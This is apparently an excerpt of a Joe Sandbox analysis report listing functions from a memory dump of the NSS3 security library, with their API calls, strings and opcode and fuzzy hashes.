Opcode ID: 6e7dcad8b4b4e03df1d4fbf56b848a39f633e9db82325067b83983396b03b66f
Instruction ID: da99dbe837881b929b74aba2645f69117313045c976b4d2633d77c697e1cac4d
Opcode Fuzzy Hash: 6e7dcad8b4b4e03df1d4fbf56b848a39f633e9db82325067b83983396b03b66f
Instruction Fuzzy Hash: 7031F475E00106ABEB009F69DC448BAB778FF45268B048164ED18C7B21FB31ED65C7E1

Function 6CC6CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CC6CD93,?), ref: 6CC6CEEE

Part of subcall function 6CC614C0: TlsGetValue.KERNEL32 ref: 6CC614E0
Part of subcall function 6CC614C0: EnterCriticalSection.KERNEL32 ref: 6CC614F5
Part of subcall function 6CC614C0: PR_Unlock.NSS3 ref: 6CC6150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CC6CD93,?), ref: 6CC6CEFC

Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC610F3
Part of subcall function 6CC610C0: EnterCriticalSection.KERNEL32(?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6110C
Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61141
Part of subcall function 6CC610C0: PR_Unlock.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61182
Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CC6CD93,?), ref: 6CC6CF0B

Part of subcall function 6CC60840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC608B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CC6CD93,?), ref: 6CC6CF1D

Part of subcall function 6CC5FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CC58D2D,?,00000000,?), ref: 6CC5FB85
Part of subcall function 6CC5FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CC5FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CC6CD93,?), ref: 6CC6CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CC6CD93,?), ref: 6CC6CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6CC6CD93,?,?,?,?,?,?,?,?,?,?,?,6CC6CD93,?), ref: 6CC6CF78

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 87c38ec170687339fa64b501ef896e3803afdd9cc779bf33feb892c903b601af
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: F911A5A5E042045BEF00AAAB6E81B6BB5EC9F5454EF044039EC09D7F41FB64D91986B2

Function 6CC18C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC18C1B
EnterCriticalSection.KERNEL32 ref: 6CC18C34
PL_ArenaAllocate.NSS3 ref: 6CC18C65
PR_Unlock.NSS3 ref: 6CC18C9C
PR_Unlock.NSS3 ref: 6CC18CB6

Part of subcall function 6CCADD70: TlsGetValue.KERNEL32 ref: 6CCADD8C
Part of subcall function 6CCADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CCADDB4

Strings

KRAM, xrefs: 6CC18C8F

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 66906530bf3afc431736a292bf675b8f11d9721fa8c0b5025c8a24d3a202cc50
Instruction ID: b90287a3de4e30f3acad90154c53cb96beb41616895873eded41d8493fe8b56c
Opcode Fuzzy Hash: 66906530bf3afc431736a292bf675b8f11d9721fa8c0b5025c8a24d3a202cc50
Instruction Fuzzy Hash: 8F2174B1A096018FD700AF7AC494969B7F4FF45304F06896AD8888BB11FB35D886CB91

Function 6CC93E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6CC95B40: PR_GetIdentitiesLayer.NSS3 ref: 6CC95B56

PR_EnterMonitor.NSS3(?), ref: 6CC93E45

Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC90AB
Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC90C9
Part of subcall function 6CCC9090: EnterCriticalSection.KERNEL32 ref: 6CCC90E5
Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC9116
Part of subcall function 6CCC9090: LeaveCriticalSection.KERNEL32 ref: 6CCC913F

PR_EnterMonitor.NSS3(?), ref: 6CC93E5C
PR_EnterMonitor.NSS3(?), ref: 6CC93E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CC93EA6

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

PR_ExitMonitor.NSS3(?), ref: 6CC93EC0
PR_ExitMonitor.NSS3(?), ref: 6CC93ED7
PR_ExitMonitor.NSS3(?), ref: 6CC93EEE

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: 280e9ce9bd09b3631e0baecf7f73dee1b44f5c68e2be373873a2da37c2d8608f
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: 84117275610600ABDB319F29FC02BD7B7A1EB41319F484824E65E96A20F736E929C753

Function 6CD12C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CD12CA0
PR_ExitMonitor.NSS3 ref: 6CD12CBE
calloc.MOZGLUE(00000001,00000014), ref: 6CD12CD1
strdup.MOZGLUE(?), ref: 6CD12CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6CD12D27

Strings

Loaded library %s (static lib), xrefs: 6CD12D22

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 4dbe717b765555afaae66acef63e5bc2abf6fd27d5e6b16081fde2f823de7366
Instruction ID: 496dbdb63d6bbce2d9423b3430ab6b94faa1ac978e430bbe2e526d486368ae9f
Opcode Fuzzy Hash: 4dbe717b765555afaae66acef63e5bc2abf6fd27d5e6b16081fde2f823de7366
Instruction Fuzzy Hash: AF11E2B9705240DFFB008F56EC44A6677B9AB4634DF04802DEA4987F61E732E818CBB1

Function 6CC0BDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CC0BDCA

Part of subcall function 6CC60FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CC087ED,00000800,6CBFEF74,00000000), ref: 6CC61000
Part of subcall function 6CC60FF0: PR_NewLock.NSS3(?,00000800,6CBFEF74,00000000), ref: 6CC61016
Part of subcall function 6CC60FF0: PL_InitArenaPool.NSS3(00000000,security,6CC087ED,00000008,?,00000800,6CBFEF74,00000000), ref: 6CC6102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CC0BDDB

Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC610F3
Part of subcall function 6CC610C0: EnterCriticalSection.KERNEL32(?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6110C
Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61141
Part of subcall function 6CC610C0: PR_Unlock.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61182
Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CC0BDEC

Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6CC0BE03

Part of subcall function 6CC5FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CC58D2D,?,00000000,?), ref: 6CC5FB85
Part of subcall function 6CC5FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CC5FBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC0BE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC0BE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC0BE3B

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: 206ee55aa1b1442af7ac4bcf4b34260abd4cf206b87b88bcea02ed69717d6208
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: D80126A5B402016AF61022676C11FAB76484F5078EF140130FF18DAB82FB62E11983B6

Function 6CC60FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CC087ED,00000800,6CBFEF74,00000000), ref: 6CC61000
PR_NewLock.NSS3(?,00000800,6CBFEF74,00000000), ref: 6CC61016

Part of subcall function 6CCC98D0: calloc.MOZGLUE(00000001,00000084,6CBF0936,00000001,?,6CBF102C), ref: 6CCC98E5

PL_InitArenaPool.NSS3(00000000,security,6CC087ED,00000008,?,00000800,6CBFEF74,00000000), ref: 6CC6102B
TlsGetValue.KERNEL32(00000000,?,?,6CC087ED,00000800,6CBFEF74,00000000), ref: 6CC61044
free.MOZGLUE(00000000,?,00000800,6CBFEF74,00000000), ref: 6CC61064

Strings

security, xrefs: 6CC61025

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: fb60e23db0c5eff78be0d52fb7b03bb5cf835b8a999a320c4059843d2688c37a
Instruction ID: c468286970d5a88145eba9d1a778c639e551242435020d0253acd7e190b9263d
Opcode Fuzzy Hash: fb60e23db0c5eff78be0d52fb7b03bb5cf835b8a999a320c4059843d2688c37a
Instruction Fuzzy Hash: 7A014835A0029197FB202F2F9E857563A68BF4674AF010116EA8897E61FB70C146DBD1

Function 6CC91C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC91C74

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

DeleteCriticalSection.KERNEL32(?), ref: 6CC91C92
free.MOZGLUE(?), ref: 6CC91C99
DeleteCriticalSection.KERNEL32(?), ref: 6CC91CCB
free.MOZGLUE(?), ref: 6CC91CD2

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: b2bcfd95c6b9c71ce753099be4a3dc28655ecf7c79ad9d30b8315e23f4ae2cd5
Instruction ID: 5bb73cc64d456b1b7e6e95877c0c770811a32d59316a382a7538f742d7bbeba8
Opcode Fuzzy Hash: b2bcfd95c6b9c71ce753099be4a3dc28655ecf7c79ad9d30b8315e23f4ae2cd5
Instruction Fuzzy Hash: 4B0196B1F412115FFF20AFAA9D0E75537BC670A31CF500125E709A2B40F7659105C7A1

Function 6CCF1C40 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,6CBF3D77,?,?,6CBF4E1D), ref: 6CCF1C8A
sqlite3_free.NSS3(00000000), ref: 6CCF1CB6

Strings

a generated column, xrefs: 6CCF1C6C
an index, xrefs: 6CCF1C67
a CHECK constraint, xrefs: 6CCF1C76, 6CCF1C81
non-deterministic use of %s() in %s, xrefs: 6CCF1C85

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s
API String ID: 1840970956-3705377941
Opcode ID: 8092b7a2b2ad59b80d95f2e47159e5af9d2f6b70c6e1df2b19f024fc1d5365c3
Instruction ID: c84055430283fbf4dd3a986baf2ce8d2a49981d5ed37ef98e5775ea25687f417
Opcode Fuzzy Hash: 8092b7a2b2ad59b80d95f2e47159e5af9d2f6b70c6e1df2b19f024fc1d5365c3
Instruction Fuzzy Hash: 7B0124B1A002405BDB00AB2CD81297677E5EFC638CB15086DE9499BB12EB32E857C751

Function 6CC8AFB0 Relevance: 9.4, APIs: 6, Instructions: 355memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000140), ref: 6CC8AFF4
memcpy.VCRUNTIME140(?,?,?), ref: 6CC8B02F

Part of subcall function 6CC8EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC8EE85

Part of subcall function 6CC8EE50: realloc.MOZGLUE(1D5304BB,?), ref: 6CC8EEAE
Part of subcall function 6CC8EE50: PORT_Alloc_Util.NSS3(?), ref: 6CC8EEC5
Part of subcall function 6CC8EE50: htonl.WSOCK32(?), ref: 6CC8EEE3
Part of subcall function 6CC8EE50: htonl.WSOCK32(00000000,?), ref: 6CC8EEED
Part of subcall function 6CC8EE50: memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6CC8EF01

Part of subcall function 6CC8EF30: PR_SetError.NSS3(FFFFE013,00000000,?,6CCAA4A1,?,00000000,?,00000001), ref: 6CC8EF6D

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CC8B2F7

Part of subcall function 6CC8EF30: htonl.WSOCK32(00000000,?,6CCAA4A1,?,00000000,?,00000001), ref: 6CC8EFE4
Part of subcall function 6CC8EF30: htonl.WSOCK32(?,00000000,?,6CCAA4A1,?,00000000,?,00000001), ref: 6CC8EFF1
Part of subcall function 6CC8EF30: memcpy.VCRUNTIME140(?,?,6CCAA4A1,?,00000000,?,6CCAA4A1,?,00000000,?,00000001), ref: 6CC8F00B
Part of subcall function 6CC8EF30: memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6CCAA4A1,?,00000000,?,00000001), ref: 6CC8F027

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,?,?,?,000003E8,00000000), ref: 6CC8B339

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

SECITEM_AllocItem_Util.NSS3(00000000,?,?,?,?,?,?,?,?,000003E8,00000000), ref: 6CC8B357
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC8B3A4

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorUtil$Item_$AllocAlloc_Unothrow_t@std@@@ValueZfree__ehfuncinfo$??2@memsetrealloc
String ID:
API String ID: 1535029029-0
Opcode ID: 9f51c135a2d300e04bf0cb143a10fec0525ad232ecc2f70f1224da0f27a2c39e
Instruction ID: eca2bb40da3f8e792921e64a71937d18aff9775d9e7146d3db1a524b82b2e913
Opcode Fuzzy Hash: 9f51c135a2d300e04bf0cb143a10fec0525ad232ecc2f70f1224da0f27a2c39e
Instruction Fuzzy Hash: F6B1C4B5A463006BF3109A35CC92FAB7AADAF0470CF040918FF55D6682FB71E61487A2

Function 6CCA2E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6CCA3046

Part of subcall function 6CC8EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC8EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6CC77FFB), ref: 6CCA312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CCA3154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CCA2E8B

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

Part of subcall function 6CC8F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6CC79BFF,?,00000000,00000000), ref: 6CC8F134

memcpy.VCRUNTIME140(8B3C75C0,?,6CC77FFA), ref: 6CCA2EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CCA317B

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 4d09e093de70994ae9ee89297d10c665848d5c10bb4f62d6a867d0a6b9599028
Instruction ID: 322e45c16c8b704bb13689d0ef1352e532541fe523eb5da8f378724dd61f6ced
Opcode Fuzzy Hash: 4d09e093de70994ae9ee89297d10c665848d5c10bb4f62d6a867d0a6b9599028
Instruction Fuzzy Hash: 1BA1CD71A002299FDB24CF55CC98BEAB7B5EF49308F048099ED4967741E731AD86CFA1

Function 6CC6ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6CC6ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6CC6EDCE

Part of subcall function 6CC60BE0: malloc.MOZGLUE(6CC58D2D,?,00000000,?), ref: 6CC60BF8
Part of subcall function 6CC60BE0: TlsGetValue.KERNEL32(6CC58D2D,?,00000000,?), ref: 6CC60C15

free.MOZGLUE(00000000,?,?,?,?,6CC6B04F), ref: 6CC6EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CC6EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CC6EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CC6EEFB

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 9966c9ac6c25155e8253271c568d4aed92b6332ef1826f725c55cb4920095a25
Instruction ID: 3965272f3ccb1cd053755f0ff3eb8595f42748bbb50ea1dde155f1822297c137
Opcode Fuzzy Hash: 9966c9ac6c25155e8253271c568d4aed92b6332ef1826f725c55cb4920095a25
Instruction Fuzzy Hash: 00815BB5A002059FEB14CF5ADEC4AAA77F5BF88308F14442EE9159BB51E730E815CBA1

Function 6CC6CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC6C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CC6DAE2,?), ref: 6CC6C6C2

PR_Now.NSS3 ref: 6CC6CD35

Part of subcall function 6CCC9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CD10A27), ref: 6CCC9DC6
Part of subcall function 6CCC9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CD10A27), ref: 6CCC9DD1
Part of subcall function 6CCC9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CCC9DED

